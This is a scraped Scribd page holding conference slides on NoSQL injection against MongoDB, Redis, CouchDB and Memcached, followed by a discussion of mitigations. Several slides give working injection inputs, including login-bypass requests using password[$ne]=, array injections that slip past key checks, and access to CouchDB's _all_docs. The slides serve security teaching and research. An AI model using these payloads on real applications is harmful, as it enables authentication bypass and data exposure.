0% found this document useful (0 votes)
211 views29 pages

Nosql Injection: Fun With Objects and Arrays

This document discusses NoSQL injection attacks using objects and arrays. It begins by establishing the scope of databases and technology stacks that are vulnerable. An attacker model is presented where the attacker can send arbitrary requests to alter query parameters and trigger unintended CRUD operations. Several examples of attacks on MongoDB, Redis, CouchDB are shown exploiting issues like login bypass, parameter overwrite, and special document access. The attacks are shown to work across multiple programming languages and frameworks. Finally, mitigation techniques like type casting and dynamic code analysis are discussed but argued to not be practical solutions due to breaking implementations and not handling data variety securely.

Uploaded by

AJ
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
211 views29 pages

Nosql Injection: Fun With Objects and Arrays

This document discusses NoSQL injection attacks using objects and arrays. It begins by establishing the scope of databases and technology stacks that are vulnerable. An attacker model is presented where the attacker can send arbitrary requests to alter query parameters and trigger unintended CRUD operations. Several examples of attacks on MongoDB, Redis, CouchDB are shown exploiting issues like login bypass, parameter overwrite, and special document access. The attacks are shown to work across multiple programming languages and frameworks. Finally, mitigation techniques like type casting and dynamic code analysis are discussed but argued to not be practical solutions due to breaking implementations and not handling data variety securely.

Uploaded by

AJ
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 29

NOSQL 

INJECTION
FUN WITH OBJECTS AND ARRAYS

Patrick Spiegel

1
MOTIVATION

 ... with MongoDB we are not building queries
from strings, so traditional SQL injection attacks
are not a problem. 

- MongoDB Developer FAQ

2
AGENDA


 Scope
  
 Attacks
 

 Attacker Model 
   
 Mitigation
 

3
SCOPE


4.1
SCOPE - DATABASES

Database Type Ranking


Document store 5.

Key-value store 9.

Key-value cache 23.

Document store 26.

4.2
SCOPE - DATABASES

4.3
SCOPE - TECHNOLOGY STACK
What do we have to consider for NoSQL Injection?  

DATABASES APPLICATION SERVERS

           
   
DATABASE DRIVERS  FRAMEWORKS 

~ 64 TECHNOLOGY STACKS

4.4
ATTACKER MODEL


5.1
ATTACKER MODEL - MIGHTINESS

The attacker is aware of the deployed  
technology stack  including application server,
driver, frameworks and database.

The attacker is able to send  arbitrary requests  to


the server with the authorization of a normal
application user.

5.2
ATTACKER MODEL - GOAL

The attacker's goal is to achieve  
unintended behavior  of the database query by
altering query  parameters.

The attacker is able to trigger unintended  
CRUD operations .

5.3
ATTACKER MODEL - OVERVIEW

5.4
NOSQL INJECTION ATTACKER

SQL Attacker Model  

  Query languages for unstructured data 

  Diverse system landscapes with multiple
databases 

  Direct client-side database access via RESTfull
interfaces
5.5
INJECTION ATTACKS


6.1
WHAT'S ALREADY KNOWN?

Login bypass for MongoDB on PHP and NodeJS 

String concatenation is still an issue for JSON and
script parameters 

Escaping flaws of drivers e.g. Memcached 
Got fixed!

6.2
MONGODB - LOGIN BYPASS
// NodeJS with Express.js
db.collection('users').find({
"user": req.query.user,
"password": req.query.password
});

 https://example.org/login?user=patrick&password=1234  
 https://example.org/login?user=patrick&password[%24ne]=

// NodeJS with Express.js


db.collection('users').find({
"user": "patrick",
"password": {"&ne": ""}
});

6.3
MONGODB - LOGIN BYPASS
// PHP
$collection->find(array(
'user' => $_GET['user'],
'password' => $_GET['password']
));

 What's even new?

# Ruby on Rails
db['users'].find({
:user => req.params['user'],
:password => req.params['password']
})

# Python with Django


db.users.find({
"user": request.GET['user'],
"password": request.GET['password']
})

6.4
MONGODB - LOGIN BYPASS
... also works for POST requests!

POST /login HTTP/1.1


Host: example.org
Content-Type: application/json
Content-Length: 38

{'user': 'patrick', 'password': {'&gt': ''}}

POST /login HTTP/1.1


Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

user=Patrick&password[%24ne]=

6.5
REDIS - PARAMETER OVERWRITE INJECTION
... just a key-value store - what's the worst that could happen?

// NodeJS with Express.js


RedisClient.expireat(
req.query.key,
new Date("November 8, 2026 11:13:00").getTime()
);

 .../expire?key[]=foo&key[]=1117542887

Injected array overwrites all following parameters
of each database function!
Only NodeJS driver affected!

6.6
COUCHDB - LOGIN BYPASS
// NodeJS with Express.js
function checkCredentials(user, password, callback) {
var options = {'selector': {'user': user, 'password': password}};
couch.use('users').get('_find', options, (err, res) => {
callback(res.docs.length === 1);
});

checkCredentials(req.query.user, req.query.password, handleResult);

 login?user=patrick&password[%24ne]=

Inject query selector to bypass password check!

6.7
COUCHDB - LOGIN BYPASS
... then let's check the password within the application layer!

// NodeJS with Express.js


function checkCredentials(user, password, callback) {
nano.use('users').get(user, (err, res)=> {
callback(res.password === paasword);
});
}

checkUser(req.query.user, req.query.password, handleResult);

 https://example.org/login?user=_all_docs

Use special _all_docs document with undefined
password property!

6.8
COUCHDB - CHECK BYPASS
Hmm ... then let's check the properties!

// NodeJS with Express.js


function getDocument(key, callback) {
if (key === "secretDoc" || key[0] === "_") {
callback("Not authorized!");
} else {
couch.use('documents').get(key, callback);
}
}

getDocument(req.query.key);

 https://example.org/get?user[]=secretDoc

 https://example.org/get?user[]=_all_docs

6.9
MEMCACHED - ARRAY INJECTION
function getCache(key) {
if (key.indexOf('auth_') === 0){
callback("Invalid key!");
} else {
memcached.get(key, (err, body)=>{
callback(err || body);
});
}
}

getCache(req.query.key, handleResult);

 https://example.org?/getCache?key[]=auth_patrick

Array injection bypasses application layer checks!

6 . 10
ATTACK SUMMARY

All attacks shown with GET requests also work
with POST and PUT requests!

Nearly all attacks work on NodeJS, PHP, Ruby and
Python in combination with certain frameworks!

Object and array injection changes semantics and
is key for attacks!

6 . 11
MITIGATION


7.1
WHAT'S THE PROBLEM?
The queries' semantic is encoded in the  object  or
type structure  of passed parameters. 

{'password': '1234'} vs {'password': {'&ne': '1'}} 

7.2
IS TYPE CASTING A SOLUTION?

{'password': req.param.password.toString()} 

 Secure against type manipulation
 Not flexible enough for unstructured data
 Easy to forget in practice ...

7.3
IS DYNAMIC CODE ANALYSIS A
SOLUTION?

{user: 'Patrick', address: {city: 'Karlsruhe', code:
76133}}

Reduces user-controlled data to string and
integer values
Application-controlled structure

7.4
DYNAMIC CODE ANALYSIS
DATA VARIETY?

if (obj.user && obj.address) {


collection.insert({user: obj.user, address: obj.address});
} else if (obj.user && obj.phone) {
collection.insert({user: obj.user, phone: obj.phone});
} else if ...

 Secure for structure manipulation
 Impractical for many different property
combinations!

7.5
IS DYNAMIC CODE ANALYSIS A
SOLUTION?

IMHO

NO

Breaks existing implementations 
Extensive  code adjustments  necessary
Hard to handle  data variety  securely

7.6

You might also like